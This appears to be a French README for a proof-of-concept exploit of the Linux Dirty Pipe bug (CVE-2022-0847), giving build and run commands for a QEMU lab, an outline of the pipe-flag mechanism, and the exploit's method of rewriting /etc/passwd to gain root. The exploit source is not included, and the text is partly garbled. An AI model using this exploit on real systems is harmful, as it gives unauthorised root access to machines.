
Proof-of-concept d'exploit pour CVE-2022-0847 (Dirty Pipe), une condition de concurrence du noyau Linux permettant des écritures non privilégiées dans des fichiers en lecture seule et une élévation de privilèges.
Un exploit de preuve de concept pour CVE-2022-0847 (Dirty Pipe), une vulnérabilité du noyau Linux qui permet à des utilisateurs non privilégiés d'écrire dans des fichiers en lecture seule.
CVE-2022-0847 affecte les noyaux Linux 5.8 à 5.16. Elle exploite une condition de concurrence dans l'implémentation des pipes du noyau Linux pour écrire des données arbitraires dans des pages de fichiers en lecture seule mises en cache en mémoire.
/etc/passwd).
├── src/
│ └── exploit.c # Dirty Pipe exploit source code
├── run.sh # QEMU test environment launcher
├── initramfs/ # Root filesystem for testing
├── debugfs.cpio # Compressed initramfs
└── README.md # This file
libelf-dev (pour la compilation du noyau)gcc ./src/exploit.c -o ./src/exploit -static -pthread
./run.sh
# Inside QEMU shell:
/home/exploit
cat /etc/passwd # Verify password hash was written
su root # Switch to root (no password needed after exploit)
./src/exploit
L'exploit modifie /etc/passwd pour injecter un utilisateur root avec un hash de mot de passe connu.
L'exploit fonctionne en :
PIPE_BUF_FLAG_CAN_MERGEsplice() pour connecter une page de fichier au tampon du pipeCela permet d'écrire dans des pages mémoire en lecture seule sans déclencher le COW (Copy-on-Write).
/proc/self/mem si possibleCet exploit est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.
Minh Vu ([email protected])